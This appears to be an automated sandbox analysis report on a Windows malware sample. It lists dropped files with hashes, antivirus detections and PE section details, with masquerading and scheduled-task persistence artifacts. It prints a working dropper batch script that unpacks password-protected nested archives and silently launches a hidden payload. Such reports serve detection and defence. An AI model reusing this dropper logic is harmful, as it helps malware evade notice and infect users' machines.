                                                                                                                                                                                                                                                            Preview:PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..|...$..}.`..8......lV1*..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T....*..A..|...{A.p{.b*.|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.|.g....&.d..Y.|..5O...s.|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):1827328
                                                                                                                                                                                                                                                            Entropy (8bit):7.963282633529333
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
                                                                                                                                                                                                                                                            MD5:83D75087C9BF6E4F07C36E550731CCDE
                                                                                                                                                                                                                                                            SHA1:D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
                                                                                                                                                                                                                                                            SHA-256:46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
                                                                                                                                                                                                                                                            SHA-512:044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
                                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 67%
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\main\file.bin

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe
                                                                                                                                                                                                                                                            File Type:Zip archive data, at least v2.0 to extract, compression method=store
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):3473725
                                                                                                                                                                                                                                                            Entropy (8bit):7.999948676888215
                                                                                                                                                                                                                                                            Encrypted:true
                                                                                                                                                                                                                                                            SSDEEP:49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
                                                                                                                                                                                                                                                            MD5:045B0A3D5BE6F10DDF19AE6D92DFDD70
                                                                                                                                                                                                                                                            SHA1:0387715B6681D7097D372CD0005B664F76C933C7
                                                                                                                                                                                                                                                            SHA-256:94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
                                                                                                                                                                                                                                                            SHA-512:58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                            File Type:Zip archive data, at least v2.0 to extract, compression method=store
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):3473725
                                                                                                                                                                                                                                                            Entropy (8bit):7.999948676888215
                                                                                                                                                                                                                                                            Encrypted:true
                                                                                                                                                                                                                                                            SSDEEP:49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
                                                                                                                                                                                                                                                            MD5:045B0A3D5BE6F10DDF19AE6D92DFDD70
                                                                                                                                                                                                                                                            SHA1:0387715B6681D7097D372CD0005B664F76C933C7
                                                                                                                                                                                                                                                            SHA-256:94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
                                                                                                                                                                                                                                                            SHA-512:58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\main\main.bat

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe
                                                                                                                                                                                                                                                            File Type:Unicode text, UTF-16, little-endian text, with no line terminators
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):440
                                                                                                                                                                                                                                                            Entropy (8bit):5.0791308599041844
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
                                                                                                                                                                                                                                                            MD5:3626532127E3066DF98E34C3D56A1869
                                                                                                                                                                                                                                                            SHA1:5FA7102F02615AFDE4EFD4ED091744E842C63F78
                                                                                                                                                                                                                                                            SHA-256:2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
                                                                                                                                                                                                                                                            SHA-512:DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\main\in.exe
                                                                                                                                                                                                                                                            File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):1827328
                                                                                                                                                                                                                                                            Entropy (8bit):7.963282633529333
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
                                                                                                                                                                                                                                                            MD5:83D75087C9BF6E4F07C36E550731CCDE
                                                                                                                                                                                                                                                            SHA1:D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
                                                                                                                                                                                                                                                            SHA-256:46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
                                                                                                                                                                                                                                                            SHA-512:044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
                                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 67%
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

                                                                                                                                                                                                                                                            C:\Windows\Tasks\skotes.job

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                                            File Type:data
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):290
                                                                                                                                                                                                                                                            Entropy (8bit):3.424708978730779
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:6:h7XvbX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0l3ct0:tzuQ1CGAFifXVst0
                                                                                                                                                                                                                                                            MD5:77D4CD92830E5E8ACE458106DFB1F6CC
                                                                                                                                                                                                                                                            SHA1:B91001879AE826DDDA5DCC88FB955CD4D06F7140
                                                                                                                                                                                                                                                            SHA-256:631AFF10971618BF901F745F231A9590F866A9D4157595DF80F8F75AB3693A2B
                                                                                                                                                                                                                                                            SHA-512:861108456240859E2A65876735C5E1124C8A89EA3E181E9597C2688FED263C06C1E314B8CE277DEBAB5E4C1CC548BACEC6852F99B46770B19956AE3878BC18F4
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:........7..M...M2.?\F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

                                                                                                                                                                                                                                                            \Device\ConDrv

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            File Type:ASCII text, with CRLF, CR line terminators
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):350
                                                                                                                                                                                                                                                            Entropy (8bit):5.0682682106683945
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:6:AMMyS3pt+uoQcAxXF2SaioBQypHSTgqF1AivwtHgNmtQFfpap1tNjtv:pMpDh5RwXSTgqFyYwzuJA1tNp
                                                                                                                                                                                                                                                            MD5:2F644B7E25627553C5731B735473C859
                                                                                                                                                                                                                                                            SHA1:5A3C2158A1FCF27AE6807A8079894FFE8D33FBEA
                                                                                                                                                                                                                                                            SHA-256:2B34B0DE62F49C19D1F9A004AD698E2612F7FCD5072F5C9834621C62F15FB55F
                                                                                                                                                                                                                                                            SHA-512:E83CA818C9785EB3A0297E65F08E22DC9E29A368BCADC9887B64EC746C88B79ACBAD20B4B6D49C07CB819ACE21B00C2BEB083F18A0CD5528D2BD00A7B0C4E802
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 1799594 bytes (1758 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 1799594.... 0%. .Everything is Ok....Size: 1827328..Compressed: 1799594..

                                                                                                                                                                                                                                                            Static File Info

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                            Entropy (8bit):6.5890241018351094
                                                                                                                                                                                                                                                            TrID:
                                                                                                                                                                                                                                                            • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                                                                                                                                                            • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                                                                                                            • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                                                                                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                                                                            File name:file.exe
                                                                                                                                                                                                                                                            File size:2'936'832 bytes
                                                                                                                                                                                                                                                            MD5:8cbe0ced0c0f7bfbdf19128ba80adb99
                                                                                                                                                                                                                                                            SHA1:15e615a0fe64fe5200dd916232d9bc26b1c3d815
                                                                                                                                                                                                                                                            SHA256:055c34101c332838618fdedb730655f61b97553c5e56df94efd373667a3db895
                                                                                                                                                                                                                                                            SHA512:4b258260770b08fdd8f14b7bf0e703b8ca5010e4698e457bc0cfc76c246fb9e7c60ee4d2068b717f8205c2c1954d3b6b8742ed2547b67082f5b89c63d850e938
                                                                                                                                                                                                                                                            SSDEEP:49152:kNv6yZz1fXBB9nu/SkIK3OdW+56W0xSDmoJb3:s6yZz1fRB9nu/SkIK3ibpDmA
                                                                                                                                                                                                                                                            TLSH:D8D52A93B40961CFD49E1AB4A81FCD826D5D82BC4B1148C7A859B8BE7D63CC323B5C6C
                                                                                                                                                                                                                                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

                                                                                                                                                                                                                                                            File Icon

                                                                                                                                                                                                                                                            Icon Hash:00928e8e8686b000

                                                                                                                                                                                                                                                            Static PE Info

                                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                                            Entrypoint:0x708000
                                                                                                                                                                                                                                                            Entrypoint Section:.taggant
                                                                                                                                                                                                                                                            Digitally signed:false
                                                                                                                                                                                                                                                            Imagebase:0x400000
                                                                                                                                                                                                                                                            Subsystem:windows gui
                                                                                                                                                                                                                                                            Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                                                                                                                                                                            DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                                                                                                                                                                                                                                            Time Stamp:0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
                                                                                                                                                                                                                                                            TLS Callbacks:
                                                                                                                                                                                                                                                            CLR (.Net) Version:
                                                                                                                                                                                                                                                            OS Version Major:6
                                                                                                                                                                                                                                                            OS Version Minor:0
                                                                                                                                                                                                                                                            File Version Major:6
                                                                                                                                                                                                                                                            File Version Minor:0
                                                                                                                                                                                                                                                            Subsystem Version Major:6
                                                                                                                                                                                                                                                            Subsystem Version Minor:0
                                                                                                                                                                                                                                                            Import Hash:2eabe9054cad5152567f0699947a2c5b

                                                                                                                                                                                                                                                            Entrypoint Preview

                                                                                                                                                                                                                                                            Instruction
                                                                                                                                                                                                                                                            jmp 00007F96C90C355Ah
                                                                                                                                                                                                                                                            xrstor [eax+eax]
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            jmp 00007F96C90C5555h
                                                                                                                                                                                                                                                            add byte ptr [0000000Ah], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], dh
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add al, byte ptr [eax]
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [0000000Ah], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [edi], al
                                                                                                                                                                                                                                                            add byte ptr [eax], 00000000h
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            adc byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            push es
                                                                                                                                                                                                                                                            or al, byte ptr [eax]
                                                                                                                                                                                                                                                            add byte ptr [eax], al
                                                                                                                                                                                                                                                            add byte ptr [eax], al

                                                                                                                                                                                                                                                            Data Directories

                                                                                                                                                                                                                                                            NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0x6a0570x6b.idata
                                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0x690000x5d4.rsrc
                                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x3061100x10xdyibhef
                                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_TLS0x3060c00x18xdyibhef
                                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                                                                            Sections

                                                                                                                                                                                                                                                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                                                                            0x10000x680000x2de004415a5bbe9b4231b4360abb7ba1ebef4False0.9984300493869209data7.985625337095081IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                            .rsrc0x690000x5d40x6001e55db351164df1643ae87d7efa3ee0fFalse0.4303385416666667data5.417125179370491IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                            .idata 0x6a0000x10000x200cc76e3822efdc911f469a3e3cc9ce9feFalse0.1484375data1.0428145631430756IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                            xdyibhef0x6b0000x29c0000x29b2006817941757eace1c871bf1d8e3d975f6unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                            nfincoke0x3070000x10000x6007bd1947866d0e0ab131e7e512c4b9c21False0.5520833333333334data4.842024834518942IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                            .taggant0x3080000x30000x22009b0c8f9d9e09676aaacfb87b8880617fFalse0.05710018382352941DOS executable (COM)0.7789228489596928IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                                                                                                                                                                                                                                                            Resources

                                                                                                                                                                                                                                                            NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                                                                            RT_MANIFEST0x690700x3e4XML 1.0 document, ASCII text0.48092369477911645
                                                                                                                                                                                                                                                            RT_MANIFEST0x694540x17dXML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.5931758530183727

                                                                                                                                                                                                                                                            Imports

                                                                                                                                                                                                                                                            DLLImport
                                                                                                                                                                                                                                                            kernel32.dlllstrcpy

                                                                                                                                                                                                                                                            Possible Origin

                                                                                                                                                                                                                                                            Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                                                                                                            EnglishUnited States

                                                                                                                                                                                                                                                            Network Behavior

                                                                                                                                                                                                                                                            Suricata IDS Alerts

                                                                                                                                                                                                                                                            TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
